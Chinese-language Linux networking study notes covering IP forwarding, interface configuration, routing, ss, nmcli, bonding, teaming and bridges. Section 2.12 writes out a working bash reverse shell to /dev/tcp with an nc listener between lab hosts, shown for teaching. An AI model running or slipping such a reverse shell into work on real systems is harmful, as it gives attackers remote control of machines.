Linux配置网络详细笔记


参考 《Linux云计算运维》-马哥教育·王晓春
在这里插入图片描述

一、Linux处理数据包的过程

当Linux向外界主机发送数据时,在它从网卡流入后需要对它做路由策略,根据其目标决定是流入本机数据还是转发给其他主机

  • 1.如果是流入本机的数据,则数据会从内核空间进入用户空间(被应用程序接受、处理)。当用户空间响应(应用程序生成新的数据包)时,响应数据包是本机产生的新数据,在响应包流出之前,需要做路由决策,根据目标决定从哪个网卡流出。
  • 2.如果不是流入本机的,而是要转发给其他主机的,则必然涉及到另一个流出网卡,此时数据包必须从流入网卡完整的转发给流出网卡,这要求Linux主机能够完成这样的转发。

Linux主机和路由器不同,路由器本身就是为了转发数据包,所以路由器内部默认就能在不同网卡间转发数据包,而Linux主机默认未开启ip_forward功能,所以Linux默认不能转发,这使得待转发数据包会被丢弃。
在这里插入图片描述
另外,IP地址是属于内核的(不仅如此,整个TCP/IP协议栈都属于内核),只要能和其中一个地址通信,就能和另一个地址通信,而不管是否开启了数据包转发功能。

例如某Linux主机有两个网卡ETH0:172.16.10.5和eth1:192.168.100.20,某192.168.100.22主机网关指向192.168.100.20,若它ping172.16.10.5,结果将是通的,因为地址属于内核,从eth1进来的数据包被内核分析时,发现目标地址为本机地址,直接就回应192.168.100.22,回应数据包继续从eth1出去。
但如果不开启数据包转发功能,则这些网卡之间是无法胡同的,192.168.100.22能ping通172.160.10.5,但却无法ping通Linux主机该网卡同网段的另一台主机172.168.10.6

在linux上开启转发功能:
临时有效

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

永久有效

centos6中将/etc/sysctl.conf中的net.ipv4.ip_forward值改为1
centos7将systemd管理了除/etc/sysctl.conf还有
/etc/sysctl.d/*.conf和/usr/lib/sysctl.d/*.conf
建议写在/etc/sysctl.d/*.conf中,这是systemd提供自定义内核修改项的目录

echo "net.ipv4.ip_forward=1" >/etc/sysctl.d/ip_forward.conf

网卡类型:

  • lo:本地回环接口
  • eth0:以太网网卡。
  • ppp0:点到点网卡
  • pppoe 小区宽带
  • tr0 令牌环
  • bond0 双网卡绑定

二、Centos网络配置

1. 网卡命名配置文件

RHEL5:    /etc/modprobe.conf
RHEL6:    /etc/udev/rules.d/70-persisten-net.rules
centos7,8: /etc/sysconfig/grub.cfg      #在配置文件中禁用系统命令默认命名。
编辑grub配置文件”/etc/sysconfig/grub“:
在”GRUB_CMDLINE_LINUX“变量最后添加一句” net.ifnames=0“.
grub2-mkconfig -o /boot/grub2/grub.cfg ; 
root

上面只是改了网卡的名称,要想配置IP地址,需要到各自的配置文件中配置。配置文件中的网卡名称要与修改后的网卡名称保持一致。

临时修改网卡名称:

ip link set eth0 down
ip link set eth0 name abc
ip link set abc up

2.了解命令

2.1 查看网卡相关命令

dmesg |grep –i eth
ethtool -i eth0

2.2 网卡驱动相关

卸载网卡驱动
modprobe -r e1000
rmmod e1000

装载网卡驱动
modprobe e1000

2.3 查看双工和速度命令

[root@maple ~]# mii-tool eth0
eth0: negotiated 1000baseT-FD flow-control, link ok
[root@maple ~]# mii-tool -v eth0
eth0: negotiated 1000baseT-FD flow-control, link ok
  product info: Yukon 88E1011 rev 3
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  link partner: 1000baseT-HD 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

2.4 服务器如何判断网线是否连接正常

[root@maple-c7 ~]# mii-tool eth1
eth1: no link
[root@maple-c7 ~]# ethtool eth1
Settings for eth1:
        Supported ports: [ TP ]
        Supported link modes:   10baseT/Half 10baseT/Full 
                                100baseT/Half 100baseT/Full 
                                1000baseT/Full 
        Supported pause frame use: No
        Supports auto-negotiation: Yes
        Advertised link modes:  10baseT/Half 10baseT/Full 
                                100baseT/Half 100baseT/Full 
                                1000baseT/Full 
        Advertised pause frame use: No
        Advertised auto-negotiation: Yes
        Speed: Unknown!
        Duplex: Unknown! (255)
        Port: Twisted Pair
        PHYAD: 0
        Transceiver: internal
        Auto-negotiation: on
        MDI-X: Unknown (auto)
        Supports Wake-on: d
        Wake-on: d
        Current message level: 0x00000007 (7)
                               drv probe link
        Link detected: no
[root@maple-c7 ~]# ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
    link/ether 00:0c:29:0d:bd:2d brd ff:ff:ff:ff:ff:ff
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN mode DEFAULT qlen 1000
    link/ether 00:0c:29:0d:bd:37 brd ff:ff:ff:ff:ff:ff        

2.5 调整客户端的动态端口范围

[root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range 
32768   60999
[root@maple /]# echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range               
20000   62000

2.6 nc工具

— arbitrary TCP and UDP connections and listens 监听一个任意的tcp和UDP连接

#服务器启动监听
[root@maple data]# nc -l 9527
#客户端连接端口
root@ubuntu1804:~# nc 10.0.0.150 9527 #输入字符,服务器端可以看到。
hello,I am ubuntu

2.7 判断端口是否打开

[root@maple data]# < /dev/tcp/127.0.0.1/80
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/80: Connection refused
[root@maple data]# < /dev/tcp/127.0.0.1/2
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/2: Connection refused
[root@maple data]# < /dev/tcp/127.0.0.1/22
[root@maple data]# 
[root@maple data]# 
[root@maple data]# echo $?
0

2.8 查找端口冲突的应用

[root@maple data]# nc -l 22
nc: Address already in use
[root@maple data]# ss -tlnp |grep 22
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*        users:(("sshd",pid=834,fd=4))                                                  
LISTEN    0         128                   [::]:22                  [::]:*        users:(("sshd",pid=834,fd=6))                                                  
[root@maple data]# lsof -i :22
COMMAND  PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd     834  root    4u  IPv4  27552      0t0  TCP *:ssh (LISTEN)
sshd     834  root    6u  IPv6  27554      0t0  TCP *:ssh (LISTEN)
sshd    1123  root    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
sshd    1136 maple    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
[root@maple data]# 

2.9 linux arp命令

[root@maple pam.d]# ip neigh
10.0.0.2 dev eth0 lladdr 00:50:56:e7:7f:3e STALE
10.0.0.1 dev eth0 lladdr 00:50:56:c0:00:08 REACHABLE
[root@maple pam.d]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.0.0.2                 ether   00:50:56:e7:7f:3e   C                     eth0
10.0.0.1                 ether   00:50:56:c0:00:08   C                     eth0

2.10 arping命令探测IP是否冲突

[root@maple ~]# arping 10.0.0.151ARPING 10.0.0.151 from 10.0.0.150 eth0
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.145ms
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.072ms
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.112ms

2.11 arp静态绑定配置:

arp -s ip mac

2.12 反弹shell实现远程控制

#服务器端
[root@maple-c8 ~]# yum install -y nc
[root@maple-c8 ~]# nc -lv 6666    #监听6666端口

#客户端
[root@maple-c7 ~]# bash -i &> /dev/tcp/10.0.0.150/6666 0>&1
#服务器端:输入hostname查看
[root@maple-c8 ~]# nc  -lv 6666 
Listening on 0.0.0.0 6666
Connection received on 10.0.0.152 53358
[root@maple-c7 ~]# 
[root@maple-c7 ~]# hostname
hostname
maple-c7.maple.com

3.配置主机名:

centos6的主机名配置

hostname    HOSTNAME              #立即生效,但不是永久有效;
vim /etc/sysconfig/network          #永久有效,重启
   HOSTNAME=www.magedu.com        
   NETWORKING=yes                   #本机是否启用网络功能的开关
   NETWORKING_IPV6=no              #是否启用ipv6
   GATEWAY=                  #也可以定义网关,以网卡配置文件为准

centos7,8和ubuntu主机名设置

hostnamectl set-hostname www.maple.com   #直接生效,配置文件也会更新,退出重新登录即可。
配置文件所在地是/etc/hostname

4.网络配置命令

4.1 IP配置

ifconfig命令:来自net-tools包,不推荐使用了,建议使用ip
ifconfig [ethx]                   ##查看当前系统活动的网卡。
        -a                        #显示所有接口信息
ifconifg eth0 10.1.1.1/24         #配置立即生效,重启网络服务或主机不生效
ifocnfig eth0:1 192.168.3.253     #设置eth0的第二个IP地址
ifconfig eth0 down               #将一个接口禁用
ifconfig eth0 0                   #清除eth0上面的地址
#关闭ICMP响应 使其不返回ping响应包
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all   

4.2 route命令:

来自net-tools包,不推荐使用了,建议使用ip

路由表主要构成:

  • Destination: 目标网络ID,表示可以到达的目标网络ID,0.0.0.0/0 表示所有未知网络,又称为默认路由,优先级最低
  • Genmask:目标网络对应的netmask
    Iface: 到达对应网络,应该从当前主机哪个网卡发送出来
  • Gateway: 到达非直连的网络,将数据发送到临近(下一个)路由器的临近本主机的接口的IP地址,如果是直连网络,gateway是0.0.0.0
  • Metric: 开销cost,值越小,路由记录的优先级最高

查看路由

route  [-n]      ##直接查看路由表
                 #-n以数字方式显示各主机或端口等相关信息

添加:route add

route add [-net|-host|default] target [netmask Nm] [gw GW] [[dev] If]
  -host    #主机路由
  -net     #到某一个网络的
  default  #默认路由 ,这三个选项不写,默认添加主机路由。
  
route add -net 20.0.10.0/24 gw 10.0.0.152    ##到达20.0.10.0/24网络的路由下一跳是10.0.0.152
route add -net 20.0.10.0 netmask 255.255.255.0 gw 10.0.0.152 #还可以写成netmask
route add -net 20.0.11.0/24 eth0       #到达20.0.11.0/24网络路由的出接口是eth01
route add [-host] 1.1.1.1 eth1         #添加到1.1.1.1的主机路由
route add default gw 10.0.0.2          #添加默认路由,指向网关

删除:route del

route del  [-A]        # -A指定地址类型,默认为ipv4
route del -net 10.0.0.0/8
route del -net 20.0.10.0/24
route del -net 20.0.11.0/24
route del default 
route del 1.1.1.1
route del default

范例:实现静态路由
四台主机:
A主机:eth0 NAT模式
R1主机:eth0 NAT模式,eth1 vmnet1模式
R2主机:eth1 vmnet1模式,eth0 vmnet2模式
B主机:eth0 vmnet2模式
在这里插入图片描述

A主机
ifconfig eth0 10.0.0.123/8
route add default gw 10.0.0.200

R1:
ifconfig eth0 10.0.0.200/8
ifconfig eth1 192.168.0.200/24
route add -net 172.16.0.0/16 gw 192.168.0.201
echo 1 > /proc/sys/net/ipv4/ip_forward

R2:
ifconfig eth1 192.168.0.201/24
ifconfig eth0 172.16.0.200/16
route add -net 10.0.0.0/8 gw 192.168.0.200
echo 1 > /proc/sys/net/ipv4/ip_forward

B主机:
ifconfig eth0 172.16.0.123/16
route add default gw 172.16.0.200

4.3 netstat命令:

来自net-utools包,建议使用ss替代
-r:显示路由表
-n:以数字方式显示
-t:建立的tcp连接
-u:建立的udp连接 udp显示不出来,因为是无连接的协议
-l:显示监听状态的连接
-p:显示监听指定的套接字的进程号和进程名

4.4 iproute2命令:

来自于iproute包,可用于代理ifconfig
命令说明:

OBJECT := { link | addr | route }
ip link - network device configuration
set dev IFACE,可设置属性:up and down:激活或禁用指定接口,相当于 ifup/ifdown
show [dev IFACE] [up]::指定接口 ,up 仅显示处于激活状态的接口
man帮助:ip(8), ip-address(8), ip-link(8), ip-route(8)
ip    
    link:配置网络接口链路层属性
        show                #查看网络接口地址
            ip -s link show    #显示统计发出的报文
        set    
            ip link set DEV {up|down}
            ip link set eth0 address 52:54:00:af:15:b1       #修改网卡MAC地址
    addr:配置网络层属性
        add
            ip addr add 10.2.2.2/24 dev eth1
            ip addr add 10.3.3.3/24 dev eth1 label eth1:1   #增加网卡别名实现一个网卡多个IP
        del
            ip addr del 10.2.2.2/24 dev eth1
        show
            ip addr show to 10/8
        flush
            ip addr flush dev eth0   #清除网络地址
    route:路由
            ip route add to 10.0.0.8/8 dev eth0 via 172.16.0.1
            ip route del 10.0.0.8/8

修改IP:先添加新IP,在删除旧IP

[root@maple-c8 ~]# ip a a 127.0.0.10/8 dev lo
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet 127.0.0.10/8 scope host secondary lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
[root@maple-c8 ~]# ip a d 127.0.0.1/8 dev lo
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.10/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever

范例:设置ip地址定时消失,默认是forever
在这里插入图片描述

[root@maple-c8 ~]# ip add a 1.1.1.1/32 dev eth0 preferred_lft 20 valid_lft 30
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet 1.1.1.1/32 scope global dynamic eth0
       valid_lft 28sec preferred_lft 18sec
[root@maple-c8 ~]# 
#30s后消失
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever

4.5 ss命令:

来自于iproute包,代替netstat,netstat 通过遍历 /proc来获取 socket信息,ss 使用 netlink与内核tcp_diag 模块通信获取 socket 信息

格式

ss [OPTION]... [FILTER]

OPTION
    -t: tcp协议相关
    -u: udp协议相关
    -w: 裸套接字相关
    -x:unix sock相关
    -l: listen状态的连接
    -a: 所有
    -n: 数字格式
    -p: 相关的程序及PID
    -e: 扩展的信息
    -m:内存用量
    -o:计时器信息

FILTER : [ state TCP-STATE ] [ EXPRESSION ]
TCP的常见状态:
    tcp finite state machine:
        LISTEN: 监听
        ESTABLISHED:已建立的连接
        FIN_WAIT_1
        FIN_WAIT_2
        SYN_SENT
        SYN_RECV
        CLOSED
        
EXPRESSION:
    dport =
    sport =

常用组合
-tan,-tanl,-tanlp,-uan

常见用法

#显示本地打开的所有端口
ss -l
#显示每个进程具体打开的socket
ss -pl
#显示所有tcp socket
ss -t -a
#显示所有的UDP Socekt
ss -u -a
#显示所有已建立的ssh连接
ss -o state established '( dport = :ssh or sport = :ssh )'
#显示所有已建立的HTTP连接
[root@maple-c8 ~]# ss -o state established '( dport = :ssh or sport = :ssh )'
Netid             Recv-Q             Send-Q                         Local Address:Port                           Peer Address:Port                                                        
tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:fmwp               timer:(keepalive,71580min,0)             
tcp               0                  96                                10.0.0.150:ssh                                10.0.0.1:10236              timer:(on,235ms,0)                       
tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:jaus               timer:(keepalive,52sec,4) 
#显示socket详细信息
[root@maple-c8 ~]# ss -s
Total: 194
TCP:   5 (estab 3, closed 0, orphaned 0, timewait 0)

Transport Total     IP        IPv6
RAW       0         0         0        
UDP       2         1         1        
TCP       5         4         1        
INET      7         5         2        
FRAG      0         0         0  

#ss -tln	
「listen状态」的Recv-Q\Send-Q含义如下:
Recv-Q:当前全连接队列的⼤⼩,也就是当前已完成三次握⼿并等待服务端 accept() 的 TCP 连接;
Send-Q:当前全连接最⼤队列⻓度,上⾯的输出结果说明监听 8088 端⼝的 TCP 服务,最⼤全连接⻓度为128;
在「⾮ LISTEN 状态」时, Recv-Q/Send-Q 表示的含义如下
Recv-Q:已收到但未被应⽤进程读取的字节数;
Send-Q:已发送但未收到确认的字节数;

4.6 网络配置工具nmcli

network                   #5和6使用
NetworkManager            #7使用,和network冲突
nmcli                     #nmtui命令行工具,可以实现链路聚合

依赖NetworkManager服务,此服务是管理和监控网络设置的守护进程

安装 bash-completion包可以 按tab键提示命令

nmcli命令

  • connection:逻辑连接,侧重逻辑设置。同一时间只能启用启用其中一个
  • device:网络接口,是物理设备。多个connection可以应用到同一个device

对于一个网络接口,可以设置多个网络连接,根据需要up相应的connection

格式

nmcli [ OPTIONS ] OBJECT { COMMAND | help }
device - show and manage network interfaces
    nmcli device help  #相当于 ip link
connection - start, stop, and manage network connections
    nmcli connection help   #相当于 ip a

修改配置文件属性使其生效

nmcli con reload
nmcli con up con-name

命令对比

nmcli配置文件
nmcli con modifcfg**-*** 文件
ipv4.method manualBOOTPROTO=none
ipv4.method autoBOOTPROTO=dhcp
ipv4.addresses 192.168.2.1/24IPADDR=192.168.2.1 PREFIX=24
ipv4.gateway 172.16.0.200GATEWAY=192.0.2.254
ipv4.dns 8.8.8.8DNS0=8.8.8.8
ipv4.dns-search example.comDOMAIN=example.com
ipv4.ignore-auto-dns truePEERDNS=no
connection.autoconnect yesONBOOT=yes
connection.id eth0NAME=eth0
connection.interface-name eth0DEVICE=eth0
802-3-ethernet.mac-address . . .HWADDR= . . .
nmcli dev status | show  [IFACE]   #查看设备状态,指定网卡名称会显示更多信息
nmcli con show  [CON-NAME]         #显示连接状态,指定逻辑连接名称会显示更多信息

nmcli con add con-name home-eth0 type ethernet ifname eno2    #添加网络接口, #ifname=物理接口
nmcli con up home-eth0          #启用连接之后,会自动获取IP地址
nmcli con del home-eth0           #删除逻辑连接
                                          
 nmcli con up eno2                  #启动连接
 nmcli con down eno2                #禁用连接
 
 
 nmcli con mod home-eth0
    ipv4.addresses "192.0.2.124/24 192.0.2.254"  #ip+网关
    ipv4.dns 8.8.8.8
    ipv4.method manual              #ipv4的配置方式,auto是dhcp
    ipv4.method auto                #ipv4的自动配置方式
    connection.autoconnect yes        ##每次开机自动启动网卡
    connection.id eth0
    ---


#修改连接设置
nmcli con mod “static” connection.autoconnect no
nmcli con mod “static” ipv4.dns 172.25.X.254
nmcli con mod “static”  +ipv4.dns  8.8.8.8
nmcli con mod “static”  -ipv4.dns  8.8.8.8
nmcli con mod “static” ipv4.addresses “172.16.X.10/24  172.16.X.254”
nmcli con mod “static”  +ipv4.addresses 10.10.10.10/16
#DNS设置存放在/etc/resolv.conf,PEERDNS=no 表示当IP通过dhcp自动获取时,dns仍是手动设置,
不自动获取等价于下面命令
nmcli con mod “system eth0” ipv4.ignore-auto-dns yes

4.7 nmcli配置bond

nmcli配置bond:

#添加bonding接口
nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
ipv4.method manual ipv4.addresses 10.0.0.100/24
#添加从属接口
nmcli con add type bond-slave ifname ens7 master bond0
nmcli con add type bond-slave ifname ens3 master bond0
#注:如无为从属接口提供连接名,则该名称是接口名称加类型构成
#要启动绑定,则必须首先启动从属接口
nmcli con up bond-slave-eth0
nmcli con up bond-slave-eth1
#启动绑定
nmcli con up mybond0

4.8 nmcli 配置Network Teaming

网络组:是将多个网卡聚合在一起方法,从而实现冗错和提高吞吐量
网络组不同于旧版中bonding技术,提供更好的性能和扩展性
网络组由内核驱动和teamd守护进程实现
网络组接口:逻辑合成的接口
port接口:物理网卡

多种方式 runner

broadcast:广播 
roundrobin:轮询
activebackup:主备
loadbalance:负载均衡
lacp (implements the 802.3ad Link Aggregation Control Protocol)
nmcli con add type team con-name myteam0 ifname team0 config '{"runner":{"name": "loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0
# nmcli con up myteam0    可省,下面开启port接口会自动将网络组接口开启
nmcli con up team0-eth1
nmcli con up team0-eth2

命令配置完成之后会自动在/etc/sysconfig/network-scripts/目录下生成相关的配置文件。

#网络组接口配置文件
/etc/sysconfig/network-scripts/ifcfg-team0
DEVICE=team0
DEVICETYPE=Team
TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
BOOTPROTO=none
IPADDR0=172.16.0.100
PREFIX0=24
NAME=team0
ONBOOT=yes

#port口配置文件
/etc/sysconfig/network-scripts/ifcfg-team0-eth1
DEVICE=eth1
DEVICETYPE=TeamPort
TEAM_MASTER=team0
NAME=team0-eth1
ONBOOT=yes

删除网络组

nmcli connection down team0
teamdctl team0 state
nmcli connection  delete myteam0
nmcli connectioni delete team0-eth0
nmcli connectioni delete team0-eth1
nmcli connection 

4.9 Linux网桥概念:

虚拟的类似交换机的东西,能够将多个网卡接口连接,使其划分一个独立的网络。相互通信相互隔离。

配置网桥:工具包:bridge-utils,目前Centos8无此包
在这里插入图片描述
服务器创建网卡配置

brctl show
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ip link set br0 up

在这里插入图片描述
brctl还支持stp的功能

brctl stp br0 on  #开启STP

删除br0

brctl delif br0 eth0
brctl delif br0 eth1
ip link set br0 down
brctl delbr br0
brctl show

nmcli命令创建网桥

nmcli connection add type bridge con-name br0 ifname br0 ipv4.method manual
nmcli connection add type bridge-slave con-name br0-eth0 ifname eth0 master br0
nmcli connection add type bridge-slave con-name br0-eth1 ifname eth1 master br0
nmcli connection up br0
nmcli connection up eth0
nmcli connection up eth1

5.网络配置文件

5.1 IP,MASK,GW,DNS相关的配置文件:

/etc/sysconfig/network-scripts/ifcfg-eth0
说明参考:
/usr/share/doc/initcripts-*/sysconfig.txt

 cat !$
    DEVICE        #关联的设备名称,要与文件名的后半部分eth0一定要保持一致。
    BOOTPROTO={static|none|dhcp|bootp}        #引导协议,使用静态地址,使用static或none。dhcp表示使用dhcp获取地址。bootp为dhcp的前身
    IPADDR=#IP地址
    NETMASK=#子网掩码
    GATEWAY=           #默认网关
    ONBOOT={yes|no}      #开机时是否自动激活此网络接口
    HWADDR=#硬件地址,要与硬件中的地址保持一致,可以省略。
    USERCTL={yes|no}    #是否允许普通用户控制此接口的启用和禁用。
    PEERDNS={yes|no}    #是否在BOOTPROTO为dhcp时接受由dhcp服务器指定的DNS地址。
    ONPARENT=yes        #(启用网卡别名)   
    DNS1=            #DNS服务器地址
    DNS2=
 DOMAIN         #主机不完整时,自动搜索的域名后缀
NM_CONTROLLED         #NM是NetworkManager的简写,此网卡是否接受NM控制

不会立即生效,但重启网络服务或主机都会生效。
centos7及一下使用service network restart重启
centos8使用
nmcli connection reload
nmcli connection eth0 down/up

5.2 本地dns配置文件

/etc/hosts

5.3 远端dns配置文件

/etc/resolv.conf
nameserver DNS1IP
nameserver DNS2IP
nameserver DNS3IP

网卡配置文件中配置的DNS地址,在使其生效时会覆盖到该文件中。
该文件改完之后立即生效

5.4 修改 /etc/hosts和DNS的优先级

/etc/nsswitch.conf
hosts: files dns

5.5 路由相关的配置文件:

/etc/sysconfig/network-scripts/route-IFACE
在这个目录下创建文件route-IFACE
两种风格:

添加格式一为:
    目的网段            via             下一跳
    192.168.1.0/24     via             10.10.10.254
添加格式二:
    ADDRESS0=192.168.1.0
    NETMASK0=255.255.255.0
    GATEWAY0=10.10.10.254 
    ADDRESS1=
    NETMASK1=
    GATEWAY1=
    永久有效

centos7和6还可以通过 /etc/sysconfig/static-routes文件添加持久静态路由

#可以看到centos7系统启动脚本中获取路由的脚本
[root@centos7 ~]#grep -A 3 "/etc/sysconfig/static-routes" /etc/init.d/network
# Add non interface-specific static-routes.
    if [ -f /etc/sysconfig/static-routes ]; then
       if [ -x /sbin/route ]; then
           grep "^any" /etc/sysconfig/static-routes | while read ignore args ; do
                   /sbin/route add -$args
           done
       else

# 查看当前路由
[root@centos7 ~]#route -n
Kernel IP routing table
Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
#创建文件
[root@centos7 ~]#vim /etc/sysconfig/static-routes
[root@centos7 ~]#cat /etc/sysconfig/static-routes
any net 192.168.1.0/24 gw 10.0.0.254
any net 192.168.2.0/24 gw 10.0.0.254
[root@centos7 ~]#systemctl restart network    
#确认路由生效
[root@centos7 ~]#route -n
Kernel IP routing table
Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
192.168.1.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0
192.168.2.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0

5.6 网卡别名:

将多个IP地址绑定到一个NIC上
每个IP绑定到独立逻辑网卡,即网络别名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3
范例:ifconfig 命令

ifconfig eth0:0 192.168.1.100/24 up
ifconfig eth0:0 down

范例:ip 命令

ip addr add 172.16.1.1/16 dev eth0
ip addr add 172.16.1.2/16 dev eth0 label eth0:0
ip addr del 172.16.1.2/16 dev eth0 label eth0:0
ip addr flush dev eth0 label eth0:0

为每个设备别名生成独立的接口配置文件,格式为:ifcfg-ethX:xxx
范例:

[root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
DEVICE=eth0:1
IPADDR=10.0.0.100
PREFIX=8
[root@maple-c8 ~]# nmcli connection reload
[root@maple-c8 ~]# nmcli connection down eth0
[root@maple-c8 ~]# nmcli connection up eth0
[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
   inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
   inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
   ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
   RX packets 2320 bytes 200266 (195.5 KiB)
   RX errors 0 dropped 0 overruns 0 frame 0
   TX packets 1891 bytes 279736 (273.1 KiB)
   TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
   inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
   ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)

注意:

建议 CentOS 6 关闭 NetworkManager 服务
网卡别名必须使用静态地址

5.7 多网卡bonding

将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。直接给两块网卡设置同一IP
地址是不可以的。通过 bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址

5.7.1 Bonding 聚合链路工作模式

bond聚合链路模式共7种模式:0-6 Mode

  • mod=0 ,即:(balance-rr) Round-robin policy(轮询)聚合口数据报文按包轮询从物理接口转发。
    负载均衡—所有链路处于负载均衡状态,轮询方式往每条链路发送报文这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。
    性能问题—一个连接或者会话的数据包如果从不同的接口发出的话,中途再经过不同的链路,在客户端很有可能会出现数据包无序到达的问题,而无序到达的数据包需要重新要求被发送,这样网络的吞吐量就会下降。Bond0在大压力的网络传输下,性能增长的并不是很理想。
    需要交换机进行端口绑定

  • mod=1,即: (active-backup) Active-backup policy(主-备份策略)只有Active状态的物理接口才转发数据报文。
    容错能力—只有一个slave是激活的(active)。也就是说同一时刻只有一个网卡处于工作状态,其他的slave都处于备份状态,只有在当前激活的slave故障后才有可能会变为激活的(active)。
    无负载均衡—此算法的优点是可以提供高网络连接的可用性,但是它的资源利用率较低,只有一个接口处于工作状态,在有 N 个网络接口的情况下,资源利用率为1/N。

  • mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口数据报文按源目MAC、源目IP、源目端口进行异或HASH运算得到一个值,根据该值查找接口转发数据报文
